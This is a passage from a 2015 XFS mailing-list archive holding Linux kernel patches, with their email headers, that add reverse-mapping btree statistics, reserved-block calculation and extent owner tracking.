XFS_BMAP_MAGIC, XFS_IBT_MAGIC, + { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, 0, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, XFS_FIBT_MAGIC }, - { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, + { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, XFS_RMAP_CRC_MAGIC, XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 8f18bab..ace1995 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -63,6 +63,7 @@ union xfs_btree_rec { #define XFS_BTNUM_BMAP ((xfs_btnum_t)XFS_BTNUM_BMAPi) #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) #define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) +#define XFS_BTNUM_RMAP ((xfs_btnum_t)XFS_BTNUM_RMAPi) /* * For logging record fields. @@ -94,6 +95,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ + case XFS_BTNUM_RMAP: break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -108,6 +110,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ + case XFS_BTNUM_RMAP: break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..3350013 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -447,6 +447,7 @@ xfs_sb_has_compat_feature( } #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ +#define XFS_SB_FEAT_RO_COMPAT_RMAPBT (1 << 1) /* reverse map btree */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ (XFS_SB_FEAT_RO_COMPAT_FINOBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL @@ -518,6 +519,12 @@ static inline bool xfs_sb_version_hassparseinodes(struct xfs_sb *sbp) xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_SPINODES); } +static inline bool xfs_sb_version_hasrmapbt(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_RMAPBT); +} + /* * XFS_SB_FEAT_INCOMPAT_META_UUID indicates that the metadata UUID * is stored separately from the user-visible UUID; this allows the @@ -590,10 +597,10 @@ xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) #define XFS_AGI_GOOD_VERSION(v) ((v) == XFS_AGI_VERSION) /* - * Btree number 0 is bno, 1 is cnt. This value gives the size of the + * Btree number 0 is bno, 1 is cnt, 2 is rmap. This value gives the size of the * arrays below. */ -#define XFS_BTNUM_AGF ((int)XFS_BTNUM_CNTi + 1) +#define XFS_BTNUM_AGF ((int)XFS_BTNUM_RMAPi + 1) /* * The second word of agf_levels in the first a.g. overlaps the EFS @@ -610,12 +617,10 @@ typedef struct xfs_agf { __be32 agf_seqno; /* sequence # starting from 0 */ __be32 agf_length; /* size in blocks of a.g. */ /* - * Freespace information + * Freespace and rmap information */ __be32 agf_roots[XFS_BTNUM_AGF]; /* root blocks */ - __be32 agf_spare0; /* spare field */ __be32 agf_levels[XFS_BTNUM_AGF]; /* btree levels */ - __be32 agf_spare1; /* spare field */ __be32 agf_flfirst; /* first freelist block's index */ __be32 agf_fllast; /* last freelist block's index */ @@ -1293,6 +1298,13 @@ typedef __be32 xfs_inobt_ptr_t; #define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) /* + * Reverse mapping btree format definitions + * + * There is a btree for the reverse map per allocation group + */ +#define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ + +/* * The first data block of an AG depends on whether the filesystem was formatted * with the finobt feature. If so, account for the finobt reserved root btree * block. diff --git a/fs/xfs/libxfs/xfs_types.h b/fs/xfs/libxfs/xfs_types.h index b79dc66..3d50364 100644 --- a/fs/xfs/libxfs/xfs_types.h +++ b/fs/xfs/libxfs/xfs_types.h @@ -108,8 +108,8 @@ typedef enum { } xfs_lookup_t; typedef enum { - XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_BMAPi, XFS_BTNUM_INOi, - XFS_BTNUM_FINOi, XFS_BTNUM_MAX + XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_RMAPi, XFS_BTNUM_BMAPi, + XFS_BTNUM_INOi, XFS_BTNUM_FINOi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { From darrick.wong@oracle.com Tue Oct 6 23:55:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 86F957F37 for ; Tue, 6 Oct 2015 23:55:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 677818F8040 for ; Tue, 6 Oct 2015 21:55:18 -0700 (PDT) X-ASG-Debug-ID: 1444193716-04cbb03f150d480001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id HOi5Ajz352sHNo3J (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:16 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tFDt009952 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:15 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974tFeO023949 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:15 GMT Received: from abhmp0007.oracle.com (abhmp0007.oracle.com [141.146.116.13]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tEWS005505; Wed, 7 Oct 2015 04:55:14 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:14 -0700 Subject: [PATCH 04/58] xfs: add rmap btree stats infrastructure From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 04/58] xfs: add rmap btree stats infrastructure To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:10 -0700 Message-ID: <20151007045510.30457.59178.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193716 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner The rmap btree will require the same stats as all the other generic btrees, so add al the code for that now. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_btree.h | 4 ++-- fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +++++++++++++++++- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index ace1995..494ee0b 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -95,7 +95,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ - case XFS_BTNUM_RMAP: break; \ + case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_INC(rmap, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -110,7 +110,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ - case XFS_BTNUM_RMAP: break; \ + case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_ADD(rmap, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index f224038..67bbfa2 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -60,6 +60,7 @@ static int xfs_stat_proc_show(struct seq_file *m, void *v) { "bmbt2", XFSSTAT_END_BMBT_V2 }, { "ibt2", XFSSTAT_END_IBT_V2 }, { "fibt2", XFSSTAT_END_FIBT_V2 }, + { "rmapbt", XFSSTAT_END_RMAP_V2 }, /* we print both series of quota information together */ { "qm", XFSSTAT_END_QM }, }; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c8f238b..8414db2 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -199,7 +199,23 @@ struct xfsstats { __uint32_t xs_fibt_2_alloc; __uint32_t xs_fibt_2_free; __uint32_t xs_fibt_2_moves; -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) +#define XFSSTAT_END_RMAP_V2 (XFSSTAT_END_FIBT_V2+15) + __uint32_t xs_rmap_2_lookup; + __uint32_t xs_rmap_2_compare; + __uint32_t xs_rmap_2_insrec; + __uint32_t xs_rmap_2_delrec; + __uint32_t xs_rmap_2_newroot; + __uint32_t xs_rmap_2_killroot; + __uint32_t xs_rmap_2_increment; + __uint32_t xs_rmap_2_decrement; + __uint32_t xs_rmap_2_lshift; + __uint32_t xs_rmap_2_rshift; + __uint32_t xs_rmap_2_split; + __uint32_t xs_rmap_2_join; + __uint32_t xs_rmap_2_alloc; + __uint32_t xs_rmap_2_free; + __uint32_t xs_rmap_2_moves; +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_RMAP_V2+6) __uint32_t xs_qm_dqreclaims; __uint32_t xs_qm_dqreclaim_misses; __uint32_t xs_qm_dquot_dups; From darrick.wong@oracle.com Tue Oct 6 23:55:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A84AE7F60 for ; Tue, 6 Oct 2015 23:55:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D7A98F8050 for ; Tue, 6 Oct 2015 21:55:24 -0700 (PDT) X-ASG-Debug-ID: 1444193722-04bdf020dd0e340001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 3teUW2SWrVS12LXe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:22 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tL77009986 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:21 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974tLHb001624 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:21 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tL4I020733; Wed, 7 Oct 2015 04:55:21 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:21 -0700 Subject: [PATCH 05/58] xfs: rmap btree add more reserved blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 05/58] xfs: rmap btree add more reserved blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:19 -0700 Message-ID: <20151007045519.30457.79528.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193722 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner XFS reserves a small amount of space in each AG for the minimum number of free blocks needed for operation. Adding the rmap btree increases the number of reserved blocks, but it also increases the complexity of the calculation as the free inode btree is optional (like the rmbt). Rather than calculate the prealloc blocks every time we need to check it, add a function to calculate it at mount time and store it in the struct xfs_mount, and convert the XFS_PREALLOC_BLOCKS macro just to use the xfs-mount variable directly. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 11 +++++++++++ fs/xfs/libxfs/xfs_alloc.h | 2 ++ fs/xfs/libxfs/xfs_format.h | 9 +-------- fs/xfs/xfs_fsops.c | 6 +++--- fs/xfs/xfs_mount.c | 2 ++ fs/xfs/xfs_mount.h | 1 + 6 files changed, 20 insertions(+), 11 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index e5bede9..8bb2a32 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -49,6 +49,17 @@ STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +xfs_extlen_t +xfs_prealloc_blocks( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + return XFS_RMAP_BLOCK(mp) + 1; + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + return XFS_FIBT_BLOCK(mp) + 1; + return XFS_IBT_BLOCK(mp) + 1; +} + /* * Lookup the record equal to [bno, len] in the btree given by cur. */ diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index 071b28b..1993644 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -235,4 +235,6 @@ int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); int xfs_alloc_fix_freelist(struct xfs_alloc_arg *args, int flags); +xfs_extlen_t xfs_prealloc_blocks(struct xfs_mount *mp); + #endif /* __XFS_ALLOC_H__ */ diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 3350013..a926134 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1304,18 +1304,11 @@ typedef __be32 xfs_inobt_ptr_t; */ #define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ -/* - * The first data block of an AG depends on whether the filesystem was formatted - * with the finobt feature. If so, account for the finobt reserved root btree - * block. - */ -#define XFS_PREALLOC_BLOCKS(mp) \ +#define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ XFS_IBT_BLOCK(mp) + 1) - - /* * BMAP Btree format definitions * diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index ee3aaa0a..32e24ec 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -246,7 +246,7 @@ xfs_growfs_data_private( agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(XFS_AGFL_SIZE(mp) - 1); agf->agf_flcount = 0; - tmpsize = agsize - XFS_PREALLOC_BLOCKS(mp); + tmpsize = agsize - mp->m_ag_prealloc_blocks; agf->agf_freeblks = cpu_to_be32(tmpsize); agf->agf_longest = cpu_to_be32(tmpsize); if (xfs_sb_version_hascrc(&mp->m_sb)) @@ -343,7 +343,7 @@ xfs_growfs_data_private( agno, 0); arec = XFS_ALLOC_REC_ADDR(mp, XFS_BUF_TO_BLOCK(bp), 1); - arec->ar_startblock = cpu_to_be32(XFS_PREALLOC_BLOCKS(mp)); + arec->ar_startblock = cpu_to_be32(mp->m_ag_prealloc_blocks); arec->ar_blockcount = cpu_to_be32( agsize - be32_to_cpu(arec->ar_startblock)); @@ -372,7 +372,7 @@ xfs_growfs_data_private( agno, 0); arec = XFS_ALLOC_REC_ADDR(mp, XFS_BUF_TO_BLOCK(bp), 1); - arec->ar_startblock = cpu_to_be32(XFS_PREALLOC_BLOCKS(mp)); + arec->ar_startblock = cpu_to_be32(mp->m_ag_prealloc_blocks); arec->ar_blockcount = cpu_to_be32( agsize - be32_to_cpu(arec->ar_startblock)); nfree += be32_to_cpu(arec->ar_blockcount); diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bf92e0c..1b2f72c 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -239,6 +239,8 @@ xfs_initialize_perag( if (maxagi) *maxagi = index; + + mp->m_ag_prealloc_blocks = xfs_prealloc_blocks(mp); return 0; out_unwind: diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 7999e91..d9c9834 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -93,6 +93,7 @@ typedef struct xfs_mount { uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* max inobt btree levels. */ + xfs_extlen_t m_ag_prealloc_blocks; /* reserved ag blocks */ struct radix_tree_root m_perag_tree; /* per-ag accounting info */ spinlock_t m_perag_lock; /* lock for m_perag_tree */ struct mutex m_growlock; /* growfs mutex */ From darrick.wong@oracle.com Tue Oct 6 23:55:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B64887F37 for ; Tue, 6 Oct 2015 23:55:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 22DC5AC007 for ; Tue, 6 Oct 2015 21:55:34 -0700 (PDT) X-ASG-Debug-ID: 1444193730-04cb6c57860d3b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id AV9i8LvrvrLQynf7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:30 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tTJS010028 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:29 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974tSYo016873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:28 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tSKv020751; Wed, 7 Oct 2015 04:55:28 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:27 -0700 Subject: [PATCH 06/58] xfs: add owner field to extent allocation and freeing From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 06/58] xfs: add owner field to extent allocation and freeing To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:26 -0700 Message-ID: <20151007045526.30457.5263.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193730 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner For the rmap btree to work, we have to fed the extent owner information to the the allocation and freeing functions. This information is what will end up in the rmap btree that tracks allocated extents. While we technically don't need the owner information when freeing extents, passing it allows us to validate that the extent we are removing from the rmap btree actually belonged to the owner we expected it to belong to. We also define a special set of owner values for internal metadata that would otherwise have no owner. This allows us to tell the difference between metadata owned by different per-ag btrees, as well as static fs metadata (e.g. AG headers) and internal journal blocks. There are also a couple of special cases we need to take care of - during EFI recovery, we don't actually know who the original owner was, so we need to pass a wildcard to indicate that we aren't checking the owner for validity. We also need special handling in growfs, as we "free" the space in the last AG when extending it, but because it's new space it has no actual owner... While touching the xfs_bmap_add_free() function, re-order the parameters to put the struct xfs_mount first. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_alloc.c | 11 ++++++++--- fs/xfs/libxfs/xfs_alloc.h | 4 +++- fs/xfs/libxfs/xfs_bmap.c | 17 ++++++++++++----- fs/xfs/libxfs/xfs_bmap.h | 5 +++-- fs/xfs/libxfs/xfs_bmap_btree.c | 3 ++- fs/xfs/libxfs/xfs_format.h | 16 ++++++++++++++++ fs/xfs/libxfs/xfs_ialloc.c | 10 +++++----- fs/xfs/libxfs/xfs_ialloc_btree.c | 3 ++- fs/xfs/xfs_bmap_util.c | 3 ++- fs/xfs/xfs_fsops.c | 13 +++++++++---- fs/xfs/xfs_log_recover.c | 3 ++- fs/xfs/xfs_trans.h | 2 +- fs/xfs/xfs_trans_extfree.c | 5 +++-- 13 files changed, 68 insertions(+), 27 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 8bb2a32..af570ce 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -1592,6 +1592,7 @@ xfs_free_ag_extent( xfs_agnumber_t agno, /* allocation group number */ xfs_agblock_t bno, /* starting block number */ xfs_extlen_t len, /* length of extent */ + uint64_t owner, /* extent owner */ int isfl) /* set if is freelist blocks - no sb acctg */ { xfs_btree_cur_t *bno_cur; /* cursor for by-block btree */ @@ -2018,7 +2019,8 @@ xfs_alloc_fix_freelist( error = xfs_alloc_get_freelist(tp, agbp, &bno, 0); if (error) goto out_agbp_relse; - error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, 1); + error = xfs_free_ag_extent(tp, agbp, args->agno, bno, 1, + XFS_RMAP_OWN_AG, 1); if (error) goto out_agbp_relse; bp = xfs_btree_get_bufs(mp, tp, args->agno, bno, 0); @@ -2028,6 +2030,7 @@ xfs_alloc_fix_freelist( memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; + targs.owner = XFS_RMAP_OWN_AG; targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; @@ -2668,7 +2671,8 @@ int /* error */ xfs_free_extent( xfs_trans_t *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len) /* length of extent */ + xfs_extlen_t len, /* length of extent */ + uint64_t owner) /* extent owner */ { xfs_alloc_arg_t args; int error; @@ -2704,7 +2708,8 @@ xfs_free_extent( goto error0; } - error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); + error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, + len, owner, 0); if (!error) xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); error0: diff --git a/fs/xfs/libxfs/xfs_alloc.h b/fs/xfs/libxfs/xfs_alloc.h index 1993644..cff44e0 100644 --- a/fs/xfs/libxfs/xfs_alloc.h +++ b/fs/xfs/libxfs/xfs_alloc.h @@ -122,6 +122,7 @@ typedef struct xfs_alloc_arg { char isfl; /* set if is freelist blocks - !acctg */ char userdata; /* set if this is user data */ xfs_fsblock_t firstblock; /* io first block allocated */ + uint64_t owner; /* owner of blocks being allocated */ } xfs_alloc_arg_t; /* @@ -208,7 +209,8 @@ int /* error */ xfs_free_extent( struct xfs_trans *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len); /* length of extent */ + xfs_extlen_t len, /* length of extent */ + uint64_t owner); /* extent owner */ int /* error */ xfs_alloc_lookup_le( diff --git a/fs/xfs/libxfs/xfs_bmap.c 